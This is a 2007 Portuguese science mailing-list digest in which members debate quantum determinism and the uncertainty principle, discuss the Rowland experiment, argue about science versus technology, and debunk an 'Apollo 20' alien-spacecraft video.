> > >interessante. Contudo ela tb esbarra na
> > >questão do 'recipiente' ou 'anteparo' da onda.
> > >Ou estarei enganado? Na Teoria da Velocidade
> > >Absoluta, o que faz a onda de energia refletir
> > >para tornar-se estacionária?
> > >
> >
> > Eu tenho uma idéia (uma "viagem") sobre isso e gostaria que o
> pessoal aí
> > analisasse. Considerem que eu não sou físico ou matemático, só um
> computeiro
> > curioso :-)
> >
> > Eu *imagino* que uma partícula elementar de matéria seja um
> quantum de
> > energia pura que ficou confinado, por causa de sua baixíssima
> energia, numa
> > dimensão menor, exatamente do tamanho do comprimento de planck! Do
> mesmo
> > modo que o que confina a energia do nosso universo seria o
> espaço-tempo!
> > Assim, de acordo com a quantidade de energia do quantum, este
ficaria
> > confinado nesta minúscula dimensão ou não (como a luz - as ondas
> "livres").
> > Penso então que as barreiras dimensionais sejam apenas a
> quantidade de
> > energia! Uma quantidade maior de energia poderia "furar" esta
> barreira e
> > navegar pelo nosso universo (teria, portanto, criado o nosso
> universo) e
> > energias muito maiores ainda poderiam "furar" o nosso universo,
> indo para
> > dimensões maiores ainda!!!
> >
> > Será que "viajei" muito? :-)
> >
> > Um abraço,
> > Jeff.
> >
> >
> >
> >
> >
> >
> >
> ----------------------------------------------------------
> >
> >
> > No virus found in this incoming message.
> > Checked by AVG Free Edition.
> > Version: 7.5.467 / Virus Database: 269.6.5/792 - Release Date:
> 6/5/2007 21:01
> >
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
>
>
>
>
>
>
>
------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.8/800 - Release Date:
11/5/2007 19:34
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 02:27

Oi Alberto,

Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
pergunta da mensagem anterior, ninguem garante que essas viagens na
maionese vão render algo, não é? E enquanto não rendem nada, fiquemos
com o princípio da incerteza que já está bem estabelecido e funciona.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> ----- Original Message -----
> From: "José Carlos Antonio"
> Sent: Sunday, May 13, 2007 7:52 PM
> Subject: [ciencialist] Re: Determinismo e incerteza
>
> > Sei lá, me parece que o princípio da incerteza
> > tem funcionado muito bem. Quem garante que as
> > coisas funcionariam melhor sem ele?
>
> Como teria dito Ludwig Boltzmann, num contexto bastante semelhante:
>
> "Who see the future? Let us have free scope for all directions of
> research; away with all dogmatism, either atomistic or antiatomistic!"
> [Lectures on Gas Thery, 1895, Dover Publications, p. 26].
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: ENC: Simuladores digitais:circ.elét., matemáticas, protoboard, etc.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 07:15





De: JVictor [mailto:jvoneto@uol.com.br]
Enviada em: segunda-feira, 14 de maio de 2007 06:43
Para: ciencialist@yahoogrupos.com.br
Assunto: Simuladores digitais:circ.elét., matemáticas, protoboard, etc.



Lista,



Recebí de outra lista, na qual me inscrevi devido às informações de
Tipoalgo, e repasso.

Para os aficcionados em eletrônica, para quem faz projetos elétricos, para
professores de

Eletricidade/eletrônica e laboratorios. As versões freeware são
satisfatórias e atendem à

maioria das necessidades básicas.



http://www.unisanta.br/disciplinas/eletronica/html/programas.htm



Ou, seja, cabelo, barba e bigode. Mesmo os carecas se beneficiarão.

Sds,



Victor.

















[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Vídeo de uma nave alienígena enterrada na Lua
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/05/2007 07:59

V�deo de uma nave alien�gena enterrada na
Lua<http://www.ceticismoaberto.com/news/?p=880>

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=880>

Ah, a internet� acima voc� confere o que seria o v�deo tomado pela miss�o
Apollo 20 (sic) onde se v� uma nave espacial soterrada, e com impactos de
meteoritos, sugere-se que estaria l� h� muito, muito tempo. FOi postado na
rede na semana passada, e come�a a explodir agora. � algo bem elaborado:
claro que voc� n�o encontrar� a filmagem de nenhuma fonte oficial (alguns
diriam, *verdadeira*), mas de fontes oficiais voc� sim pode encontrar uma
fotografia da regi�o e do que seria a nave espacial em quest�o:
<http://www.lpi.usra.edu/resources/apollo/frame/?AS15-P-9625>
Clique para ver a imagem de uma fonte confi�vel. Essa foi tomada pela Apollo
15, e � de fato da Lua. J� o v�deo�
Antes de mais nada, a Apollo 20 n�o ocorreu. O projeto Apollo foi
cancelado<http://pt.wikipedia.org/wiki/Projeto_Apollo>em 1975, e a
�ltima miss�o foi a Apollo 17. O autor do v�deo alega que as
miss�es continuaram secretamente � esconder o lan�amento de foguetes Saturno
V com mais de 100 metros � algo inacredit�vel, mas enfim, voc� pode ver o
que seria a filmagem deste lan�amento da base �rea de
Vanderberg<http://www.youtube.com/watch?v=MRP1lWiTN2E>.
Note como essa filmagem tem sinais claros de manipula��o, porque o autor
quer provar que se podem ver os s�mbolos da Apollo 20. E sobre eles� notem a
suposta ens�gnia da miss�o Apollo 20 no in�cio do v�deo acima. Sim, s�o o
m�dulo Lunar e o de Comando e Servi�o *carregando a nave extraterrestre com
cabos!* Precisamos nos estender sobre o rid�culo aqui?
Mas as coisas s�o mais estranhas porque no in�cio do v�deo em si, ao
contr�rio da hist�ria sobre a Apollo 20, temos:

Apollo 11- View of Earth and Crew
GMT 198:01:15 to 198:01:34
Year 1969

As massas investigadoras da internet est�o checando se haveria alguma
filmagem da Apollo 11 deste per�odo, mas esta famosa miss�o (por algum
motivo <http://pt.wikipedia.org/wiki/Apollo_11>) j� teve todos os registros
averiguados por in�meras pessoas, incluindo
uf�logos<http://www.ceticismoaberto.com/ufologia/oberg_apollo11.htm>,
e tal filmagem obviamente n�o foi notada ent�o. O especialista espacial
James Oberg, em particular, � um dos que j� verificaram *todos *os registros
Apollo, j� manifestou sua incredulidade, notando tamb�m como o divulgador do
v�deo incorretamente abrevia comandante por "CMD" � enquanto na NASA, a
abrevia��o usada de fato � "CDR".
Informa��es relacionadas ao v�deo � parte, a filmagem em si � *notavelmente
bem-feita!* Compara��es entre as imagens reais da Lua da regi�o e o que pode
ser visto na suposta filmagem revelam aten��es minuciosas aos m�nimos
detalhes do terreno. A suposta nave espacial � tantalizante, e houve cuidado
em tentar reproduzir efeitos derivados dos equipamentos de captura e
transmiss�o de imagem das miss�es, embora na opini�o deste autor, esta
reprodu��o seja menos fiel e impressionante que o modelo em si. Sim, porque
como praticamente todos est�o concluindo, � apenas um modelo em escala muito
bem-feito.
Por que o criador do modelo, depois de dedicar tanto esfor�o e cuidado criou
informa��es t�o esdr�xulas e mesmo contradit�rias? Voc� pode conferir seus
outros v�deos no Youtube <http://www.youtube.com/profile?user=retiredafb>,
onde ele tamb�m promove cidades e todo tipo de alega��es sobre a Lua. Diz
ser um militar aposentado vivendo atualmente na Ruanda (!).
Como � t�pico da internet, a hist�ria est� se desenrolando neste exato
momento, e os interessados podem acompanhar o f�rum
ATS<http://www.abovetopsecret.com/forum/thread281124/pg9>para a
looonga discuss�o em andamento.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
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SUBJECT: Re: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 08:31

Olá JC,
No texto abaixo:
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 20:43
Assunto: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida


Léo,

>A velocidade v que você usa na fórmula Fm = Qv/c X B não deve ser a
velocidade da carga Q em relação ao campo? <

Léo: Sim, é a mesma! E, no fundo é em relação ao campo B. Observe que para a carga Q o campo é 'fixo' (do mesmo modo que vc pode adotar como fixo os demais átomos e elétrons do fio que não participam como portadores de carga na corrente elétrica. Lembre-se da Experiência de Rowland!

>Supondo que o fio criasse um campo sensível à Q e dependente da
velocidade do observador, teríamos o resultado interessante de que
qualquer fio retílineo criaria infinitos campos simultâneos, um para
cada um dos infinitos observadores possíveis, mas isso não parece ser
muito "natural" (embora possa ser tratado teoricamente).<

Léo: Mas, será isso mesmo; apenas que, somente o componente perpendicular ao fio é o que interessa. Por outro lado, para determinados observadores (correndo perpendicular ao fio, por exemplo) isso não definiria corrente alguma e além disso haveria contração de espaço e tempo em outras direções.

>Creio que a carga Q do seu problema "não vê" o campo que o observador
vê porque ela está em repouso em relação às cargas do fio. Ou, em
outras palavras, o que importa nesse problema é a velocidade relativa
entre a carga Q e as cargas do fio.<

Léo: Não, o que importa é a velocidade relativa entre a carga Q e o campo B (que para todos os efeitos é fixo ao redor do fio).

>Evidentemene fica a pergunta: se o observador vê um campo magnético
gerado pelo fio e vê uma carga elétrica Q "movendo-se", então porque
será que ele não vê nenhuma força magnética "extra" alterando a
resultante em Q? Bom, talvez ele veja, mas em compensação também verá
um campo elétrico não-estático. Eu não pretendo fazer as contas, mas
acho que se levarmos isso em consideração ficará mostrado que a
resultante sobre Q será a mesma.<

Léo: Não é assim. Vou reproduzir a Experiência de Rowlando para vc perceber a 'estacionaridade' de B e o movimento relativo de Q em relação a B.

Experiência de Rowland: Considere um disco de PVC de raio R girando no plano horizontal mediante uma manivela instalada no seu eixo vertical. Na borda desse disco há um tubo metálico eletrizado com carga Q1 (uniformemente distribuida no comprimento 2.pi.R). Pondo-se esse disco para girar com frequencia F, a carga Q1 se comporta como carga em movimento e define a corrente I = F.Q1. O campo magnético B que se estabelece (por exemplo em todo plano que contém o disco) é estacionário (fora do disco, vertical para baixo; dentro do disco vertical para cima) --- é o campo criado pela corrente numa espira.
Fixando na borda do disco uma vareta isolante, radial para fora, e na ponta da vareta coloquemos uma carga Q2. Pronto, a carga Q2 cortará as linhas de força de B e sobre ela aparecerá a força magnética de Lorentz. Aqui, a velocidade angular de Q2 será a mesma da de Q1 (a linear não!).

Estamos encaminhando à contento?

aquele abraço,

Léo

Pense nisso. (E faça as contas, se tiver tempo)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Oi Victor,
>
> vc chegou a ver as figuras em
>
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm
?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "J.Victor" <j.victor.neto@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 13 de maio de 2007 12:51
> Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
>
>
>
>
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Luiz Ferraz Netto
> Enviada em: domingo, 13 de maio de 2007 09:45
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
>
> Léo: Oi Victor,
>
> vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas
> aguarde para a continuação da leitura do texto onde vou citar as três
> possibilidades.
>
> Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte
texto de
> sua argumentação:
>
> >"Mas um campo magnético devido a uma corrente I numa dada direção é
> concêntrico à direção da corrente, sendo, portanto, perpendicular ao
> segmento R, saindo do papel ou entrando no papel onde R está
desenhado, esse
> mesmo R que liga o centro de L ao ponto onde está Q; mas somente se
fosse o
> caso de haver movimento relativo entre eles. Que, evidentemente, não há.
> Assim, a força resultante sobre Q seria o resultado de uma composição
> vetorial entre Fm e Fe, e não resultante de operação escalar, como
foi feito
> acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
> depreende da proposição inicial."
>
> Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só;
a regra
> da mão direita para achar a direção e sentido do campo magnético B.
OK, o
[ ... ]


SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 08:42

De: "Ferrari"

>Luiz,

Uso a palavra cérebro apenas como referencia cientifia
(e fisica). Uso para não usar a palavra "mente" que
remete a algo imaterial. Mas enfim, onde estiver
"cérebro" no texto vc pode trocar por "sistema
nervoso", e ai acabam-se os seus problemas e a
nessecidade de ficar me policiando.<

Minha "nessecidade" é outra; é fazer entende-lo que 'raciocinar' não é isso que apregoa, que 'sistema nervoso' não é algo imaterial, assim como 'cérebro', 'mente' etc.
Por outro lado, se ninguém ficar policiando-o, recairemos nos 'perguntômetros' e filosofias de 'universo oscilante' dignas de papos de botequins.
Sugiro (e isso não é nome de japonês!) que vc dê uma lida no ABC da Ciência, em:
http://www.feiradeciencias.com.br/ABCiencia.asp e comece pelo começo:

"Boa ciência não se faz com
terminologia relaxada
e raciocínio malconexo. [Léo]"

aquele abraço,

Léo



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 09:23

>> Eu não conheço bem estas interpretações da mecânica quântica, mas
>> entendo que não é possível existir aleatoriedade objetiva em um
>> sistema fechado! Ou estou errado? Eu acredito na falta de
>> conhecimento de variáveis que podem determinar certos comportamentos
>> quânticos e na prepotência de cientistas em afirmarem que não.
>
>Tto qto os resultados experimentais indicam, vc está errado
>(interpretando "aleatoriedade objetiva" como o correpondente a
>"indeterminação quântica em princípio").
>

Com "aleatoriedade objetiva" eu quis dizer de efeitos absolutamente sem
qualquer causa. E "aleatoriedade subjetiva" a aparente aleatoriedade por
falta de conhecimento das causas (que pode ser uma infinidade).

Vou ler os textos, valeu!

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 09:30

Olá JC,

>
>Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
>pergunta da mensagem anterior, ninguem garante que essas viagens na
>maionese vão render algo, não é? E enquanto não rendem nada, fiquemos
>com o princípio da incerteza que já está bem estabelecido e funciona.
>

Eu acho que eu engenheiro pode pensar assim, mas um cientista não! :-)

Um abraço,
Jeff.



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 10:06

----- Original Message -----
From: "José Carlos Antonio"
Sent: Monday, May 14, 2007 2:27 AM
Subject: [ciencialist] Re: Determinismo e incerteza

> Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
> pergunta da mensagem anterior, ninguem garante que essas viagens na
> maionese vão render algo, não é? E enquanto não rendem nada,
> fiquemos com o princípio da incerteza que já está bem estabelecido e
> funciona.

Eu diria que a resposta do Jeff é curta mas bastante esclarecedora. O
cientista *produtor de conhecimentos* tem de ser aguerrido e nada
dogmático. Preocupar-se com falseamentos não tem o mesmo significado
de preocupar-se com garantias. Como teria dito Faraday (ao fazer
analogia com o nascimento das teorias): "Para que serve uma criança ao
nascer?"

Talvez fosse o caso de expandir um pouco a idéia do Jeff. Existiriam
neste caso: 1) o cientista produtor de conhecimentos; 2) o cientista
utilizador dos conhecimentos (engenheiros, tecnólogos, médicos etc.);
e 3) o cientista armazenador e/ou distribuidor de conhecimentos
(professor etc.). Não creio que, para aqueles situados na primeira
categoria, a única filosofia de atuação fosse o utilitarismo, ainda
que se justifique, nesse meio, a existência de utilitaristas a exemplo
de Bohr.

Na realidade eu não sou exatamente contra a teoria quântica nem outras
teorias aceitas na atualidade. Sou contra a criação de um partido
único e a ditar o que pode ou o que não pode ser feito em ciência,
conforme defendido pelos seguidores da "filosofia" de Kuhn. É neste
sentido que eu costumo dizer que prefiro a filosofia popperiana que, a
meu ver, prega uma revolução permanente.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 11:04

Alberto, esse é um tema bastante complicado, e o único para o qual é
bastante dificil achar um artigo esclarecedor: A diferença entre a produção
de ciência e a produção de tecnologia. A nível bastante básico, fica clara a
diferença entre as duas: Não é preciso conhecer muito de hidrodinâmica, ou
das teorias de Arquimedes para fazer uma Canoa. E posso ser péssimo para
fazer uma canoa, mesmo conhecendo Hidrodinamica e teorias náuticas.

É claro, tecnologia e ciência são autopotencializadores, um cataliza o
outro, mas isso não significa que boa tecnologia significa ciência perfeita.

Mas esta diferença fica difusa quando se trata de tecnologia e ciência
moderna, em parte talvez porque a maioria das pessoas, eu inclusive, não
conhece a fundo, nem uma, nem outra. E muitos amantes da ciência, não fazem
questão de esclarecer a diferença, em parte , talvez, por gostarem de ser
cobertos pela "aura" de infalibilidade da tecnologia. Para a ciência, talvez
isso seja prejudicial. Mas nunca é debatido..

Já ouvi 2323³² vezes o argumento de que, sem a teoria (inclua aqui sua
teoria preferida), não seria possivel construir computadores, não haveriam
televisores, os paralelepípedos não existiriam. Mesmo conceitos abstratos
como a teoria das "formas" de aristóteles já foi invocado , em outra mailing
list, como sustentação da tecnologia atômica!

Sei que isso se deve á fronteira difusa entre teorização moderna e
tecnologia moderna, mas poucos teorizadores dedicam algum tempo a falar
desse assunto, mesmo que seja para esclarecer os leigos, dize-los para não
confundirem produção de tecnologia com produção de ciência.

Esse seria um tema interessante para debater aqui na Ciencialist. De minha
parte, fico assistindo, mas se quiserem continuar elaborando o tema, seria
interessante para a maioria dos membros (acho)



Gil



Em 14/05/07, Alberto Mesquita Filho <albmesq@uol.com.br> escreveu:
>
> ----- Original Message -----
> From: "José Carlos Antonio"
> Sent: Monday, May 14, 2007 2:27 AM
> Subject: [ciencialist] Re: Determinismo e incerteza
>
> > Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
> > pergunta da mensagem anterior, ninguem garante que essas viagens na
> > maionese vão render algo, não é? E enquanto não rendem nada,
> > fiquemos com o princípio da incerteza que já está bem estabelecido e
> > funciona.
>
> Eu diria que a resposta do Jeff é curta mas bastante esclarecedora. O
> cientista *produtor de conhecimentos* tem de ser aguerrido e nada
> dogmático. Preocupar-se com falseamentos não tem o mesmo significado
> de preocupar-se com garantias. Como teria dito Faraday (ao fazer
> analogia com o nascimento das teorias): "Para que serve uma criança ao
> nascer?"
>
> Talvez fosse o caso de expandir um pouco a idéia do Jeff. Existiriam
> neste caso: 1) o cientista produtor de conhecimentos; 2) o cientista
> utilizador dos conhecimentos (engenheiros, tecnólogos, médicos etc.);
> e 3) o cientista armazenador e/ou distribuidor de conhecimentos
> (professor etc.). Não creio que, para aqueles situados na primeira
> categoria, a única filosofia de atuação fosse o utilitarismo, ainda
> que se justifique, nesse meio, a existência de utilitaristas a exemplo
> de Bohr.
>
> Na realidade eu não sou exatamente contra a teoria quântica nem outras
> teorias aceitas na atualidade. Sou contra a criação de um partido
> único e a ditar o que pode ou o que não pode ser feito em ciência,
> conforme defendido pelos seguidores da "filosofia" de Kuhn. É neste
> sentido que eu costumo dizer que prefiro a filosofia popperiana que, a
> meu ver, prega uma revolução permanente.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>
>
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>
> Página de apoio
> http://www.ciencialist.com
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> ##### ##### ##### #####
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>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Determinismo e incerteza
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 11:11

Olá Alberto, Jose Carlos, Jeff e demais

Na sequência:

Alberto: ""Who see the future? Let us have free scope for all
directions of research; away with all dogmatism, either atomistic or
antiatomistic!" [Lectures on Gas Thery, 1895, Dover Publications, p. 26]"

JC: "Nada contra a liberdade de viajar na maionese mas, como eu sugeri
na pergunta da mensagem anterior, ninguem garante que essas viagens na
maionese vão render algo, não é? E enquanto não rendem nada, fiquemos
com o princípio da incerteza que já está bem estabelecido e funciona."

Jeff:"Eu acho que eu engenheiro pode pensar assim, mas um cientista
não! :-)"

Alberto (de novo..:-): "O cientista *produtor de conhecimentos* tem de
ser aguerrido e nada dogmático. Preocupar-se com falseamentos não tem
o mesmo significado de preocupar-se com garantias. Como teria dito
Faraday (ao fazer analogia com o nascimento das teorias): "Para que
serve uma criança ao nascer?""

E agora, eu..:-)

Permita-me discordar do Alberto e do Jeff, pois acho que estão usando
o termo "dogma" de forma um tanto frouxa. Ou no mínimo mal aplicada a
conceitos científicos. Dogma é uma alegação/afirmação que não tem, ou
precisa, de embasamento ou evidências. Não se confunde com algo bem
aceito, universalmente aceito ou cientificamente aceito.

Não há um "dogma" a sustentar as leis da termodinâmica, e qualquer
estudo a partir das mesmas, inclusive um que pretenda refuta-las, é
bem vindo ou permitido. O fato de que cada estudo feito para refutar a
termodinâmica tenha resultado em mais evidências a favor desta, é
apenas a consequência do modo de construir conhecimento científico.

Inclusive o JC começa seu texto afirmando que não há "nada contra
viajar na maionese", mas se a viagem nada resultar,deve ser abandonada
em prol de outras mais eficazes ou reais. Inclusive muito do que se
classifica como "ciência clássica" e para alguns, dogmática, foi em
sua origem uma bela viagem na maionese..:-)

Quanto a diferença entre engenheiros e cientistas, o Jeff tem certa
razão, mas até certo ponto. Com certeza um engenheiro deve ser
extremamente conservador e não basear suas estruturas, como um
edifício ou uma ponte, em Feng Shui ou instruções telepáticas de
alienígenas de alpha-centauri. Muito menos recusar o atual
conhecimento sobre estrutura de materiais e leis de cinemática.

Mas mesmo cientistas tem de partir de algum lugar, de algum ponto, e
em geral esse ponto é mais seguro e tem mais chances de resultar em
novos conhecimentos se for algo que já sabemos sobre o universo.
Iniciar uma pesquisa científica "do nada", não costuma resultar em
nada mais que crakpots e perda de tempo.

Antes de refutar o princípio da incerteza é preciso estudar
profundamente a física que gerou essa teoria e esse conhecimento, e
partir desta para novos caminhos. Não é possível começar do nada, de
uma "intuição" de leigo, e achar que é suficiente para reconstruir
toda uma área de estudo, que, como lembra JC, tem funcionado bem até o
momento, para os propósitos determinados.

Claro que não é a "verdade verdadeira" e claro que pode ser melhorada,
ajustada, e até refutada, mas será sempre de forma controlado e dentro
do rigor do método (que não é um dogma, mas uma ferramenta eficaz,
como um martelo para pregar pregos - não é um dogma que se usem
martelos, e não é um dogma que não se usem chaves de fenda para pregar
pregos.:-)

O texto postado pelo ALberto é de 1895. Naquele momento, duas teorias
rivais se debatiam, não dogmaticamente (embora pessoas possam se
apresentar de forma dogmática em relação as teorias), mas procurando
evidências que decidissem a disputa. De lá para cá, muito se
descobriu, e dificilmente a teoria atômica seria refutada apenas por
um dogma anti-teoria atômica.

E eu gosto muito da história sobre a criança ao nascer (que as vezes é
relacionada a Ben Franklin e outros, não sabia que era de Faraday),
mas isso não muda o fato de que cada criança vem ao mundo a partir de
estruturas mais simples, e de forma gradual e crescente. Não surge do
nada, nem pode ser descartada por falta de evidências. Já viagens na
maionese podem..:-)

Um abraço.

Homero




SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 11:21

Olá Gil

GIl: "Já ouvi 2323³² vezes o argumento de que, sem a teoria (inclua
aqui sua teoria preferida), não seria possivel construir computadores,
não haveriam televisores, os paralelepípedos não existiriam. Mesmo
conceitos abstratos como a teoria das "formas" de aristóteles já foi
invocado, em outra mailing list, como sustentação da tecnologia atômica!"

Algumas coisas, em especial tecnologia de ponta, são impossíveis de
construir sem a teoria, em especial as que dependem de cálculos
prévios, como transistores e computadores. Outras seriam impossíveis
de construir, porque não pensaríamos nelas sem a teoria ter
apresentado essas possibilidades, como a bomba atômica.

Outras seriam ineficazes ou rústicas sem a teoria, pois dependeriam de
empirismo e tentativas e erros para serem criadas ou construídas, como
edifícios. Já se construiram grandes catedrais na idade média, mas
suas estruturas são super-dimensionadas, suas soluções muitas vezes
rústicas ou ineficazes, e muitas caíram antes e depois de construídas
por falta de cálculos necessários.

Acho que é possível criar uma civilização tecnológica sem teoria, sem
ciência pura, mas seria sempre menos eficaz que a nossa, e teria
sempre limites bem mais restritos em seus avanços e possibilidades.

As pirâmides são fantásticas obras de engenharia, quase sem cálculos
(quase, pois egípcios eram bons em usar geometria aplicada), mas parte
de seu fascínio é a época em que foram construídas e a limitação de
recursos e materiais disponíveis. Embora defensores de aliens egípcios
digam o contrário, com materiais modernos e engenharia moderna,
poderíamos criar estruturas muito mais impactantes e de formas muito
mais variadas (as pirâmides são piramidais por motivos de exigência
estrutural, é a forma mais simples e segura de erguer algo tão grande
com poucos recursos).

Não é possível construir um chip de processador "tentando e errando",
sem teoria e cálculos, não se pensaria em construir uma bomba atômica,
sem a teoria atômica e a relatividade, e não se construiriam satélites
sem a gravitação (leis de movimento que funcionam aqui na Terra,
também funcionam no céu).

Um abraço.

Homero




SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 11:40

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Com "aleatoriedade objetiva" eu quis dizer de efeitos absolutamente
> sem qualquer causa.

Então, é isso, "indeterminação quântica em princípio". Nesse caso, tto
qto sabemos, tto qto os dados mostram, não, não é possível saber, nem
em princípio.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 11:45

Jeff,

Vejo que o determinismo está em curso em você desde
suas ultimas indagações. Já lhe falei uma vez, vc
estava determinado a não acreditar. Acho ótimo.
Caminha com os próprio pés. Mas eu estou determinado a
falar de novo. Então, seguinte:

>>> O mapa não é o território.
Ou seja, a realidade não é o conhecimento da
realidade.
Determinismo é uma realidade.
São as imutaveis leis da natureza funcionando.
Sendo assim, é fato, mas incogniscivel (em si).
A incerteza é um estado mental.
Ou seja, criado pela falta de conhecimento da
realidade (do território) e pela impossibilidade de
conhecimento direto.

Fiz minha parte.
De novo.
E seja o que o território determinar


sinceramente
ferrari



--- Jeff <jeff@jeff.com.br> escreveu:

> >> Eu não conheço bem estas interpretações da
> mecânica quântica, mas
> >> entendo que não é possível existir aleatoriedade
> objetiva em um
> >> sistema fechado! Ou estou errado? Eu acredito na
> falta de
> >> conhecimento de variáveis que podem determinar
> certos comportamentos
> >> quânticos e na prepotência de cientistas em
> afirmarem que não.
> >
> >Tto qto os resultados experimentais indicam, vc
> está errado
> >(interpretando "aleatoriedade objetiva" como o
> correpondente a
> >"indeterminação quântica em princípio").
> >
>
> Com "aleatoriedade objetiva" eu quis dizer de
> efeitos absolutamente sem
> qualquer causa. E "aleatoriedade subjetiva" a
> aparente aleatoriedade por
> falta de conhecimento das causas (que pode ser uma
> infinidade).
>
> Vou ler os textos, valeu!
>
> []´,s
> Jeff.
>
>


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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 12:04

Olá Takata!

Takata >>> Você pode dividir o carro sem separar as
partes.

--- Takata, sinceramente, esta sua afirmação aqui e
suas respostas subsequentes são apenas uma questão de
ficarmos jogando xadrez até que vc acabe em cheque
mate. Vc afirmou algo que é impossivel e voce sabe
disto. O que separa o espaço cheio é o espaço vazio e
não tem por onde vc fugir. Não vou ficar jogando
xadrez com vc porque já lhe disse que não sou da turma
da competição, mas sim da colaboração.

--- Mas creio que agora ficou claro que o seu conceito
de matéria é fruto do raciocinio dualista (cheio e
vazio). Só isto. E nada demais. Isto é inevitavel,
afinal vc é um ser humano e raciocina pra fazer
ciencia, não é mesmo?

--- Estou dizendo que o cientista tem que levar isto
em consideração no método cientifico. No caso da
fisica, levar em consideração que espaço cheio e vazio
não é uma realidade, é uma forma de raciocinar a
realidade.

--- Sei que vc sabe disto, mas não sei porque insiste
em negar. Negar esta realidade não ajuda o método
cientifico. Não ajuda a entender a realção entre
matéria e energia. Não ajudar a entender e=mc2. Enfim,
não ajuda a melhorar os mapas, nem a compreender
melhor a realidade, entende?



sinceramente
ferrari








Takata >>> Você pode dividir o carro sem separar as
partes.
> >
> > --- Ok. Mas como? Pode dar um exemplo?
>
> Separar aqui entenda-se como afastar - já q vc
> falava em aumentar o
